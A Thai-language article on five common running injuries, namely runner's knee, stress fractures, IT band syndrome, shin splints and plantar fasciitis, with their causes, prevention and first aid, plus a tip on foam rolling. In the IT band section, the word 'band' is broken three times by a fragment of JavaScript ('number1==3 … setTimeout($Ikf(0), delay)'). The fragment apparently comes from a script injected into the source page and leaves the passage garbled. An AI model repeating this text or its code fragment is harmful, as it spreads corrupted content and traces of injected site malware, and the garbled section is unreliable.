อาการบาดเจ็บสามารถเกิดกับนักวิ่งทุกคน และเชื่อว่าเพื่อนนักวิ่งต้องเคยประสบมาแล้วสักหนึ่งอย่างแน่นอน แต่รู้หรือไม่ว่าอาการบาดเจ็บจากการวิ่งทั่วไป ไม่ว่าจะเป็นอาการปวดบริเวณหัวเขา ปวดฝ่ายเท้าและหน้าแข้ง สามารถเกิดขึ้นกับนักวิ่งผู้หญิงได้มากกว่าผู้ชาย สาเหตุอาจจะมาจากลักษณะทางกายภาพ ความแข็งแกร่งของร่างกายและกล้ามเนื้อ ทักษะพื้นฐานในการวิ่งและความสามารถในการฟื้นฟู (Recovery)
5 อาการบาดเจ็บของนักวิ่งที่พบได้ทั่วไป
เรามาดูกันว่าลักษณะอาการที่สามารถพบได้ในนักวิ่งทั่วไปมีอะไรบ้างและสามารถหลบเลี่ยงได้อย่างไร
1. อาการปวดเข่าบริเวณกระดูกสะบ้า (Patellofemoral Pain Syndrome) หรือนิยมเรียกกันในหมู่นักวิ่งว่า Runner’s Knee มีลักษณะอาการ รู้สึกเจ็บปวดบริเวณด้านหน้าเข่า บริเวณเข่าด้านหน้ารอบกระดูกสะบ้า เกิดขึ้นเมื่อออกวิ่ง เดินขึ้นลงบันได นั่งหรือคุกเข่าเป็นเวลานาน
หากนักวิ่งมีกลุ่มมัดกล้ามเนื้อเอว (Hip abductor) ที่อ่อนแอ โอกาสเกิดอาการบาดเจ็บปวดเข่าบริเวณกระดูกสะบ้า หรือ Runner’s Knee ก็จะสูงขึ้น
วิธีการป้องกัน ต้องทำการฝึกกล้ามเนื้อหรือ Strength training โดยเฉพาะกลุ่มมัดกล้ามเนื้อเอว และ quadriceps เพื่อบรรเทาอาการปวด นักวิ่งอาจจะใช้เทปติดหรือใช้ผ้าพัน หรือผ้าแบบ compress ใส่ประกอบไว้
2. อาการกระดูกฝ่าเท้าร้าว (Stress fractures) สาเหตุเกิดจากการใช้งาน หรือการฝึกวิ่งซ้ำๆ จนร่างกายไม่สามารถฟื้นฟูทัน Workload ที่รับมาได้ มักจะเกิดกับคนที่มีแผนการฝึกวิ่งที่เข้มข้น มีการฝึกวิ่งบ่อย หนักและกินเวลานาน ยิ่งคนไหนที่มีลักษณะเท้าเว้าสูงและกล้ามเนื้อขาดความยืดหยุ่น โอกาสก็จะเกิดสูงขึ้น
วิธีการป้องกัน คือ ต้องมีแผนการพักที่ร่างกายได้ฟื้นฟูและสามารถปรับตัวทันกับ Workload ที่เพิ่มขึ้น อย่าพยายามฝึกเพื่อพัฒนาให้ตัวเองสามารถวิ่งได้เร็วและได้นานขึ้นอย่างรวดเร็ว หรือที่เรียกว่า “Too fast too soon” ต้องค่อยๆ ฝึกเป็นขั้นบันได
ลักษณะอาการบาดเจ็บที่สามารถสังเกตได้หากเกิด อาการแตกร้าว คือ อาการปวดระหว่างวิ่งและเจ็บมากขึ้นเรื่อยๆ ยิ่งวิ่งยิ่งปวด ปวดแบบ Sharp pain สามารถระบุจุดปวดได้ว่ามาจากข้อกระดูกบริเวณไหนและเมื่อพักแล้วก็ยังเจ็บ
อาการปวดและบวมบริเวณฝ่าเท้าหรือบริเวณข้อเท้าอาการแตกร้าวสามารถเกิดขึ้นได้ทันที หากมีอาการปวดขึ้นมา ก็ให้หยุดวิ่งทันที ปฐมพยาบาลเบื้องต้นด้วยหลักการ RICE: R = rest (พัก) I = ice(น้ำเเข็ง) C = compression(รัด) E = elevation(ยก) และพยายามเข้าพบหมอทันทีหรือโดยเร็วที่สุด
3. อาการปวดเข่าด้านนอก Iliotibial bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and syndrome (ITBS) หรือเรียกกันง่ายๆ ว่า IT bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and อาการปวดเกิดจากการเสียดสีของแถบเอ็นกล้ามเนื้อต้นขาด้านข้าง (Tensor fascia latae muscle) กับปุ่มกระดูก (Lateral femoral condyle) การงอและการเหยียดเข่าซ้ำ ๆ อย่างต่อเนื่อง เป็นสาเกตุทำให้เกิดการเสียดสีอย่างต่อเนื่อง
วิธีการป้องกัน การปรับเปลี่ยนท่าวิ่ง ไม่วิ่งแบบไขว้ขาไปมา วิ่งให้เท้าเป็นเส้นตรง วิ่งเอวตรงไม่โยงขึ้นลง การใส่รองเท้าที่เหมาะสม มีพื้นรองเท้าที่ราบเสมอ ลดการโหมฝึก โดยเฉพาะการฝึกวิ่งระยะไกล ไม่ฝืนศักภาพร่งกายตัวเอง และที่สำคัญ ฝึก strength training เพื่อเพิ่มความแข็งแรงของกล้ามเนื้อ core เอวและก้น (gluteus medius) จะช่วยลดโอกาสการเกิด IT Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ได้
4. อาการบาดเจ็บบริเวณหน้าแข้ง (Medial tibial stress syndrome) หรือที่เรียกว่า Shin splints อาการปวดหน้าแข้งเป็นได้ทั้งส่วนหน้า (anterior shin splints) และส่วนด้านในที่นิยมเป็นกัน (medial shin splints) อาการจะแสดงขณะเริ่มวิ่งออกกำลังกาย โดยเฉพาะช่วงการลงเท้า เมื่อน้ำหนักถูกถ่ายลงฝ่าเท้า
สาเหตุอาจจะมาจาก การโหมฝึกหรือ overuse ทำให้กล้ามเนื้อล้าจนไม่สามารถซับแรงกระแทกที่จะส่งผ่านสู่กระดูกได้ กล้ามเนื้อจึงเกิดการอักเสบ เกิดแรงตึงเครียดต่อกระดูกหน้าแข้ง ทำให้เยื่อหุ้มกระดูกอักเสบอีก สาเหตุอื่นๆ เช่น การ ปรับเปลี่ยนการวิ่งอย่างรวดเร็ว วิ่งในสถานที่ที่ไม่คุ้นเคย การเพิ่มระยะทางและเพิ่มความเร็วในการวิ่ง หากปรับการซ้อมรวดเร็วเกินไปจะทำให้กล้ามเนื้อและกระดูกไม่สามารถปรับตัวรับแรงกระแทกได้ทัน ทำให้เกิดการบาดเจ็บ
เราสามารถดูแลตัวเองด้วยวิธีการเบื้องต้นด้วยการพัก ประคบเย็น ทายาและให้ระยะเวลาในการพักฟื้น เพื่อการซ่อมแซมร่างกาย แต่หากมีอาการรุนแรง เป็นตลอดเวลา ควรปรึกษาแพทย์
5. อาการปวดเป็นโรครองช้ำ (Plantar fasciitis) ซึ่งเจ้าโรครองช้ำ เกิดจากการอักเสบบริเวณพังผืดใต้ฝ่าเท้า ส่วนมากเป็นบริเวณที่ พังผืดยึดกับกระดูกส้นเท้า นักวิ่งมักมีการเจ็บปวดบริเวณส้นเท้าขณะเดินหรือจังหวะการลงเท้าเวลาวิ่ง
สาเหตุการเกิดจะคล้ายๆ กับอาการบาดเจ็บทั่วไป คือ การ overuse ใช้งานที่มากเกินไปจนร่างกายทนไม่ไหว การวิ่งที่หักโหมจนเกินไปและระยะทางที่ไกลเกินไป การวิ่งแบบกระแทกส้น หรือลงส้น การก้าวเท้ายาว ทำให้มีจังหวะลงเท้ามีการกระแทก อย่างรุนแรงที่ส้นเท้า เป็นต้น
พื้นผิววิ่งเองก็สามารถมีผลต่อการเกิดอาการบาดเจ็บได้เช่นกัน การวิ่งบนพื้นแข็ง หรือใช้รองเท้าที่มีพื้นบาง หรืจะมาเพราะตัวนักวิ่งเองที่มี น้ำหนักตัวที่มากเกินไป และอุ้งเท้าสูง เท้าแบน ก็มีผลเช่นกัน
การป้องกัน ได้แก่ การเลือกรองเท้าที่เหมาะกับสไตล์การวิ่ง เปลี่ยนรองเท้าใหม่ทุกครั้งที่หมดอายุ การปรับฟอร์มท่าวิ่งก็มีผลสูงสุด สับขาให้สั้นลง เน้นความถี่ และลงเท้าให้นุ่มนวล หลีกเลี่ยงการวิ่งบนพื้นแข็งมากๆ
สำหรับใครที่มีอาการบาดเจ็บก็ให้ลดการใช้งานลง หยุดการออกกำลังกายไปก่อน และทายา บริหารกล้ามเนื้อด้วยการยืดพังผืดฝ่าเท้าอย่างสม่ำเสมอ เพื่อให้เกิดความยืดหยุ่น ช่วยลดแรงกระชากบริเวณจุดเกาะที่กระดูกส้นเท้าลง ถ้าตึงมากๆ ให้แช่เท้าในน้ำอุ่นก่อน ประมาณ 15 – 20 นาที ให้พังผืดอ่อนตัว มีความยืดหยุ่นมากขึ้น ช่วยลดอาการเจ็บขณะบริหาร
เรามีเคล็ดลับอีกแบบหนึ่งที่จะช่วยเพิ่มความยืดหยุ่นให้กับกล้ามเนื้อและเป็นการช่วยบริหารกล้ามเนื้อเพื่อบำบัดและบรรเทาอาการบาดเจ็บ นั้นคือ การทำการนวดด้วยการใช้ Foam rolling โดยเจ้าโฟมโรลลิ่ง เป็นวิธีนวดคลายกล้ามเนื้อด้วยตัวเอง มีทั้งแบบลูกบอลกลม หรือป็นแท่งกลม เหล่านักวิ่งนิยมใช้ เพื่อบีบ อัด คลายกล้ามเนื้อส่งให้เลือดนำสารอาหารไปเลี้ยง เร่งให้การฟื้นฟูทำได้เร็วขึ้น
อ้างอิง www.mountelizabeth.com.sg
